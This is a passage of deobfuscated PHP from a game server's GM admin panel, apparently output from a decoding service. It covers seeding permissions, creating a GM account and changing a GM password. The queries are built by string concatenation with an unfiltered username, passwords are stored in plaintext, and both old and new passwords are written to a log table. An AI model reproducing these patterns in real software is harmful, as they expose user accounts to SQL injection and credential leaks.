('".$option['admin_game_id']."', '1', '207'),
('".$option['admin_game_id']."', '1', '208'),
('".$option['admin_game_id']."', '1', '209'),
('".$option['admin_game_id']."', '1', '210'),
('".$option['admin_game_id']."', '1', '211'),
('".$option['admin_game_id']."', '1', '212'),
('".$option['admin_game_id']."', '1', '213'),
('".$option['admin_game_id']."', '1', '214'),
('".$option['admin_game_id']."', '1', '500'),
('".$option['admin_game_id']."', '1', '501'),
('".$option['admin_game_id']."', '1', '502'),
('".$option['admin_game_id']."', '1', '503'),
('".$option['admin_game_id']."', '1', '504'),
('".$option['admin_game_id']."', '1', '505'),
('".$option['admin_game_id']."', '1', '506'),
('".$option['admin_game_id']."', '1', '507'),
('".$option['admin_game_id']."', '1', '508'),
('".$option['admin_game_id']."', '1', '509'),
('".$option['admin_game_id']."', '1', '510'),
('".$option['admin_game_id']."', '1', '511'),
('".$option['admin_game_id']."', '1', '512'),
('".$option['admin_game_id']."', '1', '513'),
('".$option['admin_game_id']."', '1', '514'),
('".$option['admin_game_id']."', '1', '515'),
('".$option['admin_game_id']."', '1', '516'),
('".$option['admin_game_id']."', '1', '517'),
('".$option['admin_game_id']."', '1', '518')");mysqli_query(conn(),"Insert into gm_users (gmuser,gmpass,accountid,gmlevel,added_by,added_date) values ('".$option['admin_login']."','".$option['admin_pass']."','".$option['admin_game_id']."','3','System','".time()."')");}}function change_gm_pass($gmuser,$current_pass,$new_pass,$repeat_pass){$current_pass=filter($current_pass);$new_pass=filter($new_pass);$repeat_pass=filter($repeat_pass);if(!empty($current_pass)&&!empty($new_pass)&&!empty($repeat_pass)){$query=mysqli_query(conn(),"Select * from gm_users where gmuser = '".$gmuser."' and gmpass='".$current_pass."'");if(mysqli_num_rows($query)==1){if($new_pass===$repeat_pass){if($new_pass!=$current_pass){$log_data=json_encode(array($current_pass,$new_pass));mysqli_query(conn(),"UPDATE gm_users set gmpass='".$new_pass."',first_login='0' where gmuser='".$gmuser."'");mysqli_query(conn(),"Insert into gm_modules_logs (gm_user,time,ip,module,data) Values ('".$gmuser."','".time()."','".ip()."','GM_Pass_Change','".$log_data."')");echo messages("You have successfully changed your GM login password!",1);logout(4000);}else{echo messages("The new password must be different than the current one!",3);}}else{echo messages("You have typped different repeat password!",3);}}else{echo messages("Your current password is different!",3);}}else{echo messages("Please fill all fields properly",3);}}function refresh($location,$time){echo "<script>setTimeout(\"location.href = '?p=".$location."';\",".$time.");</script>";}?>
Function Calls
| None |
Stats
| MD5 | 0fe689e66ca14826448beef74323a42f |
| Eval Count | 0 |
| Decode Time | 147 ms |